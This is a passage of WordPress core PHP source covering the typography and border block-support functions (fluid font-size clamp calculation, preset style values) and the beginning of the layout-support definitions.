		$block_type->attributes['fontFamily'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for typography features such as font sizes
 * to the incoming attributes array. This will be applied to the block markup in
 * the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Used the style engine to generate CSS and classnames.
 * @since 6.3.0 Added support for text-columns.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Typography CSS classes and inline styles.
 */
function wp_apply_typography_support( $block_type, $block_attributes ) {
	if ( ! ( $block_type instanceof WP_Block_Type ) ) {
		return array();
	}

	$typography_supports = isset( $block_type->supports['typography'] )
		? $block_type->supports['typography']
		: false;
	if ( ! $typography_supports ) {
		return array();
	}

	if ( wp_should_skip_block_supports_serialization( $block_type, 'typography' ) ) {
		return array();
	}

	$has_font_family_support     = isset( $typography_supports['__experimentalFontFamily'] ) ? $typography_supports['__experimentalFontFamily'] : false;
	$has_font_size_support       = isset( $typography_supports['fontSize'] ) ? $typography_supports['fontSize'] : false;
	$has_font_style_support      = isset( $typography_supports['__experimentalFontStyle'] ) ? $typography_supports['__experimentalFontStyle'] : false;
	$has_font_weight_support     = isset( $typography_supports['__experimentalFontWeight'] ) ? $typography_supports['__experimentalFontWeight'] : false;
	$has_letter_spacing_support  = isset( $typography_supports['__experimentalLetterSpacing'] ) ? $typography_supports['__experimentalLetterSpacing'] : false;
	$has_line_height_support     = isset( $typography_supports['lineHeight'] ) ? $typography_supports['lineHeight'] : false;
	$has_text_columns_support    = isset( $typography_supports['textColumns'] ) ? $typography_supports['textColumns'] : false;
	$has_text_decoration_support = isset( $typography_supports['__experimentalTextDecoration'] ) ? $typography_supports['__experimentalTextDecoration'] : false;
	$has_text_transform_support  = isset( $typography_supports['__experimentalTextTransform'] ) ? $typography_supports['__experimentalTextTransform'] : false;
	$has_writing_mode_support    = isset( $typography_supports['__experimentalWritingMode'] ) ? $typography_supports['__experimentalWritingMode'] : false;

	// Whether to skip individual block support features.
	$should_skip_font_size       = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontSize' );
	$should_skip_font_family     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontFamily' );
	$should_skip_font_style      = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontStyle' );
	$should_skip_font_weight     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'fontWeight' );
	$should_skip_line_height     = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'lineHeight' );
	$should_skip_text_columns    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textColumns' );
	$should_skip_text_decoration = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textDecoration' );
	$should_skip_text_transform  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'textTransform' );
	$should_skip_letter_spacing  = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'letterSpacing' );
	$should_skip_writing_mode    = wp_should_skip_block_supports_serialization( $block_type, 'typography', 'writingMode' );

	$typography_block_styles = array();
	if ( $has_font_size_support && ! $should_skip_font_size ) {
		$preset_font_size                    = array_key_exists( 'fontSize', $block_attributes )
			? "var:preset|font-size|{$block_attributes['fontSize']}"
			: null;
		$custom_font_size                    = isset( $block_attributes['style']['typography']['fontSize'] )
			? $block_attributes['style']['typography']['fontSize']
			: null;
		$typography_block_styles['fontSize'] = $preset_font_size ? $preset_font_size : wp_get_typography_font_size_value(
			array(
				'size' => $custom_font_size,
			)
		);
	}

	if ( $has_font_family_support && ! $should_skip_font_family ) {
		$preset_font_family                    = array_key_exists( 'fontFamily', $block_attributes )
			? "var:preset|font-family|{$block_attributes['fontFamily']}"
			: null;
		$custom_font_family                    = isset( $block_attributes['style']['typography']['fontFamily'] )
			? wp_typography_get_preset_inline_style_value( $block_attributes['style']['typography']['fontFamily'], 'font-family' )
			: null;
		$typography_block_styles['fontFamily'] = $preset_font_family ? $preset_font_family : $custom_font_family;
	}

	if (
		$has_font_style_support &&
		! $should_skip_font_style &&
		isset( $block_attributes['style']['typography']['fontStyle'] )
	) {
		$typography_block_styles['fontStyle'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontStyle'],
			'font-style'
		);
	}

	if (
		$has_font_weight_support &&
		! $should_skip_font_weight &&
		isset( $block_attributes['style']['typography']['fontWeight'] )
	) {
		$typography_block_styles['fontWeight'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['fontWeight'],
			'font-weight'
		);
	}

	if ( $has_line_height_support && ! $should_skip_line_height ) {
		$typography_block_styles['lineHeight'] = isset( $block_attributes['style']['typography']['lineHeight'] )
			? $block_attributes['style']['typography']['lineHeight']
			: null;
	}

	if ( $has_text_columns_support && ! $should_skip_text_columns && isset( $block_attributes['style']['typography']['textColumns'] ) ) {
		$typography_block_styles['textColumns'] = isset( $block_attributes['style']['typography']['textColumns'] )
			? $block_attributes['style']['typography']['textColumns']
			: null;
	}

	if (
		$has_text_decoration_support &&
		! $should_skip_text_decoration &&
		isset( $block_attributes['style']['typography']['textDecoration'] )
	) {
		$typography_block_styles['textDecoration'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textDecoration'],
			'text-decoration'
		);
	}

	if (
		$has_text_transform_support &&
		! $should_skip_text_transform &&
		isset( $block_attributes['style']['typography']['textTransform'] )
	) {
		$typography_block_styles['textTransform'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['textTransform'],
			'text-transform'
		);
	}

	if (
		$has_letter_spacing_support &&
		! $should_skip_letter_spacing &&
		isset( $block_attributes['style']['typography']['letterSpacing'] )
	) {
		$typography_block_styles['letterSpacing'] = wp_typography_get_preset_inline_style_value(
			$block_attributes['style']['typography']['letterSpacing'],
			'letter-spacing'
		);
	}

	if ( $has_writing_mode_support &&
		! $should_skip_writing_mode &&
		isset( $block_attributes['style']['typography']['writingMode'] )
	) {
		$typography_block_styles['writingMode'] = isset( $block_attributes['style']['typography']['writingMode'] )
			? $block_attributes['style']['typography']['writingMode']
			: null;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles(
		array( 'typography' => $typography_block_styles ),
		array( 'convert_vars_to_classnames' => true )
	);

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Generates an inline style value for a typography feature e.g. text decoration,
 * text transform, and font style.
 *
 * Note: This function is for backwards compatibility.
 * * It is necessary to parse older blocks whose typography styles contain presets.
 * * It mostly replaces the deprecated `wp_typography_get_css_variable_inline_style()`,
 *   but skips compiling a CSS declaration as the style engine takes over this role.
 * @link https://github.com/wordpress/gutenberg/pull/27555
 *
 * @since 6.1.0
 *
 * @param string $style_value  A raw style value for a single typography feature from a block's style attribute.
 * @param string $css_property Slug for the CSS property the inline style sets.
 * @return string A CSS inline style value.
 */
function wp_typography_get_preset_inline_style_value( $style_value, $css_property ) {
	// If the style value is not a preset CSS variable go no further.
	if ( empty( $style_value ) || ! str_contains( $style_value, "var:preset|{$css_property}|" ) ) {
		return $style_value;
	}

	/*
	 * For backwards compatibility.
	 * Presets were removed in WordPress/gutenberg#27555.
	 * A preset CSS variable is the style.
	 * Gets the style value from the string and return CSS style.
	 */
	$index_to_splice = strrpos( $style_value, '|' ) + 1;
	$slug            = _wp_to_kebab_case( substr( $style_value, $index_to_splice ) );

	// Return the actual CSS inline style value,
	// e.g. `var(--wp--preset--text-decoration--underline);`.
	return sprintf( 'var(--wp--preset--%s--%s);', $css_property, $slug );
}

/**
 * Renders typography styles/content to the block wrapper.
 *
 * @since 6.1.0
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_typography_support( $block_content, $block ) {
	if ( ! isset( $block['attrs']['style']['typography']['fontSize'] ) ) {
		return $block_content;
	}

	$custom_font_size = $block['attrs']['style']['typography']['fontSize'];
	$fluid_font_size  = wp_get_typography_font_size_value( array( 'size' => $custom_font_size ) );

	/*
	 * Checks that $fluid_font_size does not match $custom_font_size,
	 * which means it's been mutated by the fluid font size functions.
	 */
	if ( ! empty( $fluid_font_size ) && $fluid_font_size !== $custom_font_size ) {
		// Replaces the first instance of `font-size:$custom_font_size` with `font-size:$fluid_font_size`.
		return preg_replace( '/font-size\s*:\s*' . preg_quote( $custom_font_size, '/' ) . '\s*;?/', 'font-size:' . esc_attr( $fluid_font_size ) . ';', $block_content, 1 );
	}

	return $block_content;
}

/**
 * Checks a string for a unit and value and returns an array
 * consisting of `'value'` and `'unit'`, e.g. array( '42', 'rem' ).
 *
 * @since 6.1.0
 *
 * @param string|int|float $raw_value Raw size value from theme.json.
 * @param array            $options   {
 *     Optional. An associative array of options. Default is empty array.
 *
 *     @type string   $coerce_to        Coerce the value to rem or px. Default `'rem'`.
 *     @type int      $root_size_value  Value of root font size for rem|em <-> px conversion. Default `16`.
 *     @type string[] $acceptable_units An array of font size units. Default `array( 'rem', 'px', 'em' )`;
 * }
 * @return array|null An array consisting of `'value'` and `'unit'` properties on success.
 *                    `null` on failure.
 */
function wp_get_typography_value_and_unit( $raw_value, $options = array() ) {
	if ( ! is_string( $raw_value ) && ! is_int( $raw_value ) && ! is_float( $raw_value ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Raw size value must be a string, integer, or float.' ),
			'6.1.0'
		);
		return null;
	}

	if ( empty( $raw_value ) ) {
		return null;
	}

	// Converts numbers to pixel values by default.
	if ( is_numeric( $raw_value ) ) {
		$raw_value = $raw_value . 'px';
	}

	$defaults = array(
		'coerce_to'        => '',
		'root_size_value'  => 16,
		'acceptable_units' => array( 'rem', 'px', 'em' ),
	);

	$options = wp_parse_args( $options, $defaults );

	$acceptable_units_group = implode( '|', $options['acceptable_units'] );
	$pattern                = '/^(\d*\.?\d+)(' . $acceptable_units_group . '){1,1}$/';

	preg_match( $pattern, $raw_value, $matches );

	// Bails out if not a number value and a px or rem unit.
	if ( ! isset( $matches[1] ) || ! isset( $matches[2] ) ) {
		return null;
	}

	$value = $matches[1];
	$unit  = $matches[2];

	/*
	 * Default browser font size. Later, possibly could inject some JS to
	 * compute this `getComputedStyle( document.querySelector( "html" ) ).fontSize`.
	 */
	if ( 'px' === $options['coerce_to'] && ( 'em' === $unit || 'rem' === $unit ) ) {
		$value = $value * $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	if ( 'px' === $unit && ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) ) {
		$value = $value / $options['root_size_value'];
		$unit  = $options['coerce_to'];
	}

	/*
	 * No calculation is required if swapping between em and rem yet,
	 * since we assume a root size value. Later we might like to differentiate between
	 * :root font size (rem) and parent element font size (em) relativity.
	 */
	if ( ( 'em' === $options['coerce_to'] || 'rem' === $options['coerce_to'] ) && ( 'em' === $unit || 'rem' === $unit ) ) {
		$unit = $options['coerce_to'];
	}

	return array(
		'value' => round( $value, 3 ),
		'unit'  => $unit,
	);
}

/**
 * Internal implementation of CSS clamp() based on available min/max viewport
 * width and min/max font sizes.
 *
 * @since 6.1.0
 * @since 6.3.0 Checks for unsupported min/max viewport values that cause invalid clamp values.
 * @since 6.5.0 Returns early when min and max viewport subtraction is zero to avoid division by zero.
 * @access private
 *
 * @param array $args {
 *     Optional. An associative array of values to calculate a fluid formula
 *     for font size. Default is empty array.
 *
 *     @type string $maximum_viewport_width Maximum size up to which type will have fluidity.
 *     @type string $minimum_viewport_width Minimum viewport size from which type will have fluidity.
 *     @type string $maximum_font_size      Maximum font size for any clamp() calculation.
 *     @type string $minimum_font_size      Minimum font size for any clamp() calculation.
 *     @type int    $scale_factor           A scale factor to determine how fast a font scales within boundaries.
 * }
 * @return string|null A font-size value using clamp() on success, otherwise null.
 */
function wp_get_computed_fluid_typography_value( $args = array() ) {
	$maximum_viewport_width_raw = isset( $args['maximum_viewport_width'] ) ? $args['maximum_viewport_width'] : null;
	$minimum_viewport_width_raw = isset( $args['minimum_viewport_width'] ) ? $args['minimum_viewport_width'] : null;
	$maximum_font_size_raw      = isset( $args['maximum_font_size'] ) ? $args['maximum_font_size'] : null;
	$minimum_font_size_raw      = isset( $args['minimum_font_size'] ) ? $args['minimum_font_size'] : null;
	$scale_factor               = isset( $args['scale_factor'] ) ? $args['scale_factor'] : null;

	// Normalizes the minimum font size in order to use the value for calculations.
	$minimum_font_size = wp_get_typography_value_and_unit( $minimum_font_size_raw );

	/*
	 * We get a 'preferred' unit to keep units consistent when calculating,
	 * otherwise the result will not be accurate.
	 */
	$font_size_unit = isset( $minimum_font_size['unit'] ) ? $minimum_font_size['unit'] : 'rem';

	// Normalizes the maximum font size in order to use the value for calculations.
	$maximum_font_size = wp_get_typography_value_and_unit(
		$maximum_font_size_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Checks for mandatory min and max sizes, and protects against unsupported units.
	if ( ! $maximum_font_size || ! $minimum_font_size ) {
		return null;
	}

	// Uses rem for accessible fluid target font scaling.
	$minimum_font_size_rem = wp_get_typography_value_and_unit(
		$minimum_font_size_raw,
		array(
			'coerce_to' => 'rem',
		)
	);

	// Viewport widths defined for fluid typography. Normalize units.
	$maximum_viewport_width = wp_get_typography_value_and_unit(
		$maximum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);
	$minimum_viewport_width = wp_get_typography_value_and_unit(
		$minimum_viewport_width_raw,
		array(
			'coerce_to' => $font_size_unit,
		)
	);

	// Protects against unsupported units in min and max viewport widths.
	if ( ! $minimum_viewport_width || ! $maximum_viewport_width ) {
		return null;
	}

	// Calculates the linear factor denominator. If it's 0, we cannot calculate a fluid value.
	$linear_factor_denominator = $maximum_viewport_width['value'] - $minimum_viewport_width['value'];
	if ( empty( $linear_factor_denominator ) ) {
		return null;
	}

	/*
	 * Build CSS rule.
	 * Borrowed from https://websemantics.uk/tools/responsive-font-calculator/.
	 */
	$view_port_width_offset = round( $minimum_viewport_width['value'] / 100, 3 ) . $font_size_unit;
	$linear_factor          = 100 * ( ( $maximum_font_size['value'] - $minimum_font_size['value'] ) / ( $linear_factor_denominator ) );
	$linear_factor_scaled   = round( $linear_factor * $scale_factor, 3 );
	$linear_factor_scaled   = empty( $linear_factor_scaled ) ? 1 : $linear_factor_scaled;
	$fluid_target_font_size = implode( '', $minimum_font_size_rem ) . " + ((1vw - $view_port_width_offset) * $linear_factor_scaled)";

	return "clamp($minimum_font_size_raw, $fluid_target_font_size, $maximum_font_size_raw)";
}

/**
 * Returns a font-size value based on a given font-size preset.
 * Takes into account fluid typography parameters and attempts to return a CSS
 * formula depending on available, valid values.
 *
 * @since 6.1.0
 * @since 6.1.1 Adjusted rules for min and max font sizes.
 * @since 6.2.0 Added 'settings.typography.fluid.minFontSize' support.
 * @since 6.3.0 Using layout.wideSize as max viewport width, and logarithmic scale factor to calculate minimum font scale.
 * @since 6.4.0 Added configurable min and max viewport width values to the typography.fluid theme.json schema.
 *
 * @param array $preset                     {
 *     Required. fontSizes preset value as seen in theme.json.
 *
 *     @type string           $name Name of the font size preset.
 *     @type string           $slug Kebab-case, unique identifier for the font size preset.
 *     @type string|int|float $size CSS font-size value, including units if applicable.
 * }
 * @param bool  $should_use_fluid_typography An override to switch fluid typography "on". Can be used for unit testing.
 *                                           Default is false.
 * @return string|null Font-size value or null if a size is not passed in $preset.
 */
function wp_get_typography_font_size_value( $preset, $should_use_fluid_typography = false ) {
	if ( ! isset( $preset['size'] ) ) {
		return null;
	}

	/*
	 * Catches empty values and 0/'0'.
	 * Fluid calculations cannot be performed on 0.
	 */
	if ( empty( $preset['size'] ) ) {
		return $preset['size'];
	}

	// Checks if fluid font sizes are activated.
	$global_settings     = wp_get_global_settings();
	$typography_settings = isset( $global_settings['typography'] ) ? $global_settings['typography'] : array();
	$layout_settings     = isset( $global_settings['layout'] ) ? $global_settings['layout'] : array();

	if (
		isset( $typography_settings['fluid'] ) &&
		( true === $typography_settings['fluid'] || is_array( $typography_settings['fluid'] ) )
	) {
		$should_use_fluid_typography = true;
	}

	if ( ! $should_use_fluid_typography ) {
		return $preset['size'];
	}

	$fluid_settings = isset( $typography_settings['fluid'] ) && is_array( $typography_settings['fluid'] )
		? $typography_settings['fluid']
		: array();

	// Defaults.
	$default_maximum_viewport_width       = '1600px';
	$default_minimum_viewport_width       = '320px';
	$default_minimum_font_size_factor_max = 0.75;
	$default_minimum_font_size_factor_min = 0.25;
	$default_scale_factor                 = 1;
	$default_minimum_font_size_limit      = '14px';

	// Defaults overrides.
	$minimum_viewport_width = isset( $fluid_settings['minViewportWidth'] ) ? $fluid_settings['minViewportWidth'] : $default_minimum_viewport_width;
	$maximum_viewport_width = isset( $layout_settings['wideSize'] ) && ! empty( wp_get_typography_value_and_unit( $layout_settings['wideSize'] ) ) ? $layout_settings['wideSize'] : $default_maximum_viewport_width;
	if ( isset( $fluid_settings['maxViewportWidth'] ) ) {
		$maximum_viewport_width = $fluid_settings['maxViewportWidth'];
	}
	$has_min_font_size       = isset( $fluid_settings['minFontSize'] ) && ! empty( wp_get_typography_value_and_unit( $fluid_settings['minFontSize'] ) );
	$minimum_font_size_limit = $has_min_font_size ? $fluid_settings['minFontSize'] : $default_minimum_font_size_limit;

	// Font sizes.
	$fluid_font_size_settings = isset( $preset['fluid'] ) ? $preset['fluid'] : null;

	// A font size has explicitly bypassed fluid calculations.
	if ( false === $fluid_font_size_settings ) {
		return $preset['size'];
	}

	// Try to grab explicit min and max fluid font sizes.
	$minimum_font_size_raw = isset( $fluid_font_size_settings['min'] ) ? $fluid_font_size_settings['min'] : null;
	$maximum_font_size_raw = isset( $fluid_font_size_settings['max'] ) ? $fluid_font_size_settings['max'] : null;

	// Font sizes.
	$preferred_size = wp_get_typography_value_and_unit( $preset['size'] );

	// Protects against unsupported units.
	if ( empty( $preferred_size['unit'] ) ) {
		return $preset['size'];
	}

	/*
	 * Normalizes the minimum font size limit according to the incoming unit,
	 * in order to perform comparative checks.
	 */
	$minimum_font_size_limit = wp_get_typography_value_and_unit(
		$minimum_font_size_limit,
		array(
			'coerce_to' => $preferred_size['unit'],
		)
	);

	// Don't enforce minimum font size if a font size has explicitly set a min and max value.
	if ( ! empty( $minimum_font_size_limit ) && ( ! $minimum_font_size_raw && ! $maximum_font_size_raw ) ) {
		/*
		 * If a minimum size was not passed to this function
		 * and the user-defined font size is lower than $minimum_font_size_limit,
		 * do not calculate a fluid value.
		 */
		if ( $preferred_size['value'] <= $minimum_font_size_limit['value'] ) {
			return $preset['size'];
		}
	}

	// If no fluid max font size is available use the incoming value.
	if ( ! $maximum_font_size_raw ) {
		$maximum_font_size_raw = $preferred_size['value'] . $preferred_size['unit'];
	}

	/*
	 * If no minimumFontSize is provided, create one using
	 * the given font size multiplied by the min font size scale factor.
	 */
	if ( ! $minimum_font_size_raw ) {
		$preferred_font_size_in_px = 'px' === $preferred_size['unit'] ? $preferred_size['value'] : $preferred_size['value'] * 16;

		/*
		 * The scale factor is a multiplier that affects how quickly the curve will move towards the minimum,
		 * that is, how quickly the size factor reaches 0 given increasing font size values.
		 * For a - b * log2(), lower values of b will make the curve move towards the minimum faster.
		 * The scale factor is constrained between min and max values.
		 */
		$minimum_font_size_factor     = min( max( 1 - 0.075 * log( $preferred_font_size_in_px, 2 ), $default_minimum_font_size_factor_min ), $default_minimum_font_size_factor_max );
		$calculated_minimum_font_size = round( $preferred_size['value'] * $minimum_font_size_factor, 3 );

		// Only use calculated min font size if it's > $minimum_font_size_limit value.
		if ( ! empty( $minimum_font_size_limit ) && $calculated_minimum_font_size <= $minimum_font_size_limit['value'] ) {
			$minimum_font_size_raw = $minimum_font_size_limit['value'] . $minimum_font_size_limit['unit'];
		} else {
			$minimum_font_size_raw = $calculated_minimum_font_size . $preferred_size['unit'];
		}
	}

	$fluid_font_size_value = wp_get_computed_fluid_typography_value(
		array(
			'minimum_viewport_width' => $minimum_viewport_width,
			'maximum_viewport_width' => $maximum_viewport_width,
			'minimum_font_size'      => $minimum_font_size_raw,
			'maximum_font_size'      => $maximum_font_size_raw,
			'scale_factor'           => $default_scale_factor,
		)
	);

	if ( ! empty( $fluid_font_size_value ) ) {
		return $fluid_font_size_value;
	}

	return $preset['size'];
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'typography',
	array(
		'register_attribute' => 'wp_register_typography_support',
		'apply'              => 'wp_apply_typography_support',
	)
);
<?php
/**
 * Border block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Registers the style attribute used by the border feature if needed for block
 * types that support borders.
 *
 * @since 5.8.0
 * @since 6.1.0 Improved conditional blocks optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_border_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( block_has_support( $block_type, '__experimentalBorder' ) && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( wp_has_border_feature_support( $block_type, 'color' ) && ! array_key_exists( 'borderColor', $block_type->attributes ) ) {
		$block_type->attributes['borderColor'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Adds CSS classes and inline styles for border styles to the incoming
 * attributes array. This will be applied to the block markup in the front-end.
 *
 * @since 5.8.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block type.
 * @param array         $block_attributes Block attributes.
 * @return array Border CSS classes and inline styles.
 */
function wp_apply_border_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'border' ) ) {
		return array();
	}

	$border_block_styles      = array();
	$has_border_color_support = wp_has_border_feature_support( $block_type, 'color' );
	$has_border_width_support = wp_has_border_feature_support( $block_type, 'width' );

	// Border radius.
	if (
		wp_has_border_feature_support( $block_type, 'radius' ) &&
		isset( $block_attributes['style']['border']['radius'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'radius' )
	) {
		$border_radius = $block_attributes['style']['border']['radius'];

		if ( is_numeric( $border_radius ) ) {
			$border_radius .= 'px';
		}

		$border_block_styles['radius'] = $border_radius;
	}

	// Border style.
	if (
		wp_has_border_feature_support( $block_type, 'style' ) &&
		isset( $block_attributes['style']['border']['style'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' )
	) {
		$border_block_styles['style'] = $block_attributes['style']['border']['style'];
	}

	// Border width.
	if (
		$has_border_width_support &&
		isset( $block_attributes['style']['border']['width'] ) &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' )
	) {
		$border_width = $block_attributes['style']['border']['width'];

		// This check handles original unitless implementation.
		if ( is_numeric( $border_width ) ) {
			$border_width .= 'px';
		}

		$border_block_styles['width'] = $border_width;
	}

	// Border color.
	if (
		$has_border_color_support &&
		! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' )
	) {
		$preset_border_color          = array_key_exists( 'borderColor', $block_attributes ) ? "var:preset|color|{$block_attributes['borderColor']}" : null;
		$custom_border_color          = isset( $block_attributes['style']['border']['color'] ) ? $block_attributes['style']['border']['color'] : null;
		$border_block_styles['color'] = $preset_border_color ? $preset_border_color : $custom_border_color;
	}

	// Generates styles for individual border sides.
	if ( $has_border_color_support || $has_border_width_support ) {
		foreach ( array( 'top', 'right', 'bottom', 'left' ) as $side ) {
			$border                       = isset( $block_attributes['style']['border'][ $side ] ) ? $block_attributes['style']['border'][ $side ] : null;
			$border_side_values           = array(
				'width' => isset( $border['width'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'width' ) ? $border['width'] : null,
				'color' => isset( $border['color'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'color' ) ? $border['color'] : null,
				'style' => isset( $border['style'] ) && ! wp_should_skip_block_supports_serialization( $block_type, '__experimentalBorder', 'style' ) ? $border['style'] : null,
			);
			$border_block_styles[ $side ] = $border_side_values;
		}
	}

	// Collect classes and styles.
	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'border' => $border_block_styles ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Checks whether the current block type supports the border feature requested.
 *
 * If the `__experimentalBorder` support flag is a boolean `true` all border
 * support features are available. Otherwise, the specific feature's support
 * flag nested under `experimentalBorder` must be enabled for the feature
 * to be opted into.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type    Block type to check for support.
 * @param string        $feature       Name of the feature to check support for.
 * @param mixed         $default_value Fallback value for feature support, defaults to false.
 * @return bool Whether the feature is supported.
 */
function wp_has_border_feature_support( $block_type, $feature, $default_value = false ) {
	// Check if all border support features have been opted into via `"__experimentalBorder": true`.
	if ( $block_type instanceof WP_Block_Type ) {
		$block_type_supports_border = isset( $block_type->supports['__experimentalBorder'] )
			? $block_type->supports['__experimentalBorder']
			: $default_value;
		if ( true === $block_type_supports_border ) {
			return true;
		}
	}

	// Check if the specific feature has been opted into individually
	// via nested flag under `__experimentalBorder`.
	return block_has_support( $block_type, array( '__experimentalBorder', $feature ), $default_value );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'border',
	array(
		'register_attribute' => 'wp_register_border_support',
		'apply'              => 'wp_apply_border_support',
	)
);
<?php
/**
 * Layout block support flag.
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Returns layout definitions, keyed by layout type.
 *
 * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type.
 * When making changes or additions to layout definitions, the corresponding JavaScript definitions should
 * also be updated.
 *
 * @since 6.3.0
 * @access private
 *
 * @return array[] Layout definitions.
 */
function wp_get_layout_definitions() {
	$layout_definitions = array(
		'default'     => array(
			'name'          => 'default',
			'slug'          => 'flow',
			'className'     => 'is-layout-flow',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child:first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child:last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'constrained' => array(
			'name'          => 'constrained',
			'slug'          => 'constrained',
			'className'     => 'is-layout-constrained',
			'baseStyles'    => array(
				array(
					'selector' => ' > .alignleft',
					'rules'    => array(
						'float'               => 'left',
						'margin-inline-start' => '0',
						'margin-inline-end'   => '2em',
					),
				),
				array(
					'selector' => ' > .alignright',
					'rules'    => array(
						'float'               => 'right',
						'margin-inline-start' => '2em',
						'margin-inline-end'   => '0',
					),
				),
				array(
					'selector' => ' > .aligncenter',
					'rules'    => array(
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))',
					'rules'    => array(
						'max-width'    => 'var(--wp--style--global--content-size)',
						'margin-left'  => 'auto !important',
						'margin-right' => 'auto !important',
					),
				),
				array(
					'selector' => ' > .alignwide',
					'rules'    => array(
						'max-width' => 'var(--wp--style--global--wide-size)',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => ' > :first-child:first-child',
					'rules'    => array(
						'margin-block-start' => '0',
					),
				),
				array(
					'selector' => ' > :last-child:last-child',
					'rules'    => array(
						'margin-block-end' => '0',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin-block-start' => null,
						'margin-block-end'   => '0',
					),
				),
			),
		),
		'flex'        => array(
			'name'          => 'flex',
			'slug'          => 'flex',
			'className'     => 'is-layout-flex',
			'displayMode'   => 'flex',
			'baseStyles'    => array(
				array(
					'selector' => '',
					'rules'    => array(
						'flex-wrap'   => 'wrap',
						'align-items' => 'center',
					),
				),
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
		'grid'        => array(
			'name'          => 'grid',
			'slug'          => 'grid',
			'className'     => 'is-layout-grid',
			'displayMode'   => 'grid',
			'baseStyles'    => array(
				array(
					'selector' => ' > *',
					'rules'    => array(
						'margin' => '0',
					),
				),
			),
			'spacingStyles' => array(
				array(
					'selector' => '',
					'rules'    => array(
						'gap' => null,
					),
				),
			),
		),
	);

	return $layout_definitions;
}

/**
 * Registers the layout block attribute for block types that support it.
 *
 * @since 5.8.0
 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_layout_support( $block_type ) {
	$support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
	if ( $support_layout ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
			$block_type->attributes['layout'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Generates the CSS corresponding to the provided layout.
 *
 * @since 5.9.0
